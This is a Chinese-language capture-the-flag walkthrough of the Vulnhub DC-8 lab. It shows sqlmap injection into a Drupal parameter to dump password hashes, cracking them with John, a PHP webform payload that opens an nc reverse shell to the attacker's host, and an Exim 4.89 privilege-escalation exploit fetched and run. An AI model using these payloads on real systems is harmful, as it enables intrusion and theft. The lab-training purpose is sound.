Vulnhub简介
Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。
靶场部署
Vulnhub官网:https://www.vulnhub.com
下载地址:https://www.vulnhub.com/entry/dc-8,367/
- 直接从官网下载做好的虚拟机镜像文件(我下载的Mirror版本);
- 解压会得到一个.ova的文件,然后在VMware中打开即可;
信息收集
nmap 192.168.75.0/24
nmap -A -sV -p- -T4 192.168.75.160
-A 代表综合性扫描,能收集到很多重要信息
-sV 代表扫描主要的服务信息
-p- 扫描全部端口
扫描到靶机开放了22和80端口,使用的是Drupal(版本是7.x)的cms,还有一个robots协议
目录扫描(我使用的是dirsearch工具),扫描到一个登录界面
SQL注入
既然扫描到了80端口,那就直接访问一下
点击左侧的Details
发现一处可能存在数据交互的地方,参数nid
添加单引号报错
sqlmap一把梭
# 查数据库:d7db
sqlmap -u "http://192.168.75.160/?nid=1" --dbs --batch
#查表:users
sqlmap -u "http://192.168.75.160/?nid=1" -D d7db -tables --batch
#查表数据
sqlmap -u "http://192.168.75.160/?nid=1" -D d7db -T users --dump
密码破解
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
密码密文得到了,但是却不知道怎么破解呀!john这个用户名看起来似乎有点眼熟,记起来john是一个密码破解的工具
那就应该是要用john工具来爆破密码了
将得到的账户名和密码放到文本文件中
得到john用户的密码为turtle
admin用户的密码破解失败
反弹shell
使用得到的账户名和密码登录后台
发现Content->点击edit->点击WEBFORM->点击Form settings->点击下拉框选择PHP code
<p>Thanks for taking the time to contact us. We shall be in contact soon.</p>
<?php
system("nc -e /bin/bash 192.168.75.150 4444")
?>
其中必须要有能显示的文字才能执行php代码
因为该内容是在用户提交数据后显示的内容,如果没有能显示的内容,则这一部分内容将不会被引用,那么代码也就不会执行
Kali监听4444端口,在Contact Us页面随便输入信息点击Submit后,查看Kali已得到shell
提权
python -c "import pty;pty.spawn('/bin/bash')"
使用命令查看是否有suid提权的命令
find / -user root -perm -4000 -print 2>/dev/null
exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限
查看其版本,发现是4.89
/usr/sbin/exim4 --version
使用searchsploit来寻找版本漏洞
searchsploit exim 4
然后把46996.sh拷贝到本地并改名为wi11.sh,并在kali开启http服务 service apache2 start
cp /usr/share/exploitdb/exploits/linux/local/46996.sh wi11.sh
cat wi11.sh
cp wi11.sh /var/www/html
需要进入/tmp 路径下(不然没有权限,无法下载)
然后给权限:chmod 777 wi11.sh
./wi11.sh -m netcat #执行脚本
提权失败
原因是:shell.sh文件的格式为dos格式,linux只能执行格式为unix格式的脚本。
使用set ff=unix : 告诉 vim 编辑器,使用unix换行符,不然会无法执行脚本。
所以修改一下攻击机目录下的shell脚本,在脚本最后加上 :set ff=unix
然后在靶机中重新下载脚本,赋予权限,执行脚本,提权成功,得到最终的flag!
可以多尝试几次,虽然成功了,但是很不稳定,过了一会就又变成www-data
可以趁root权限的时候用nc反弹shell维持稳定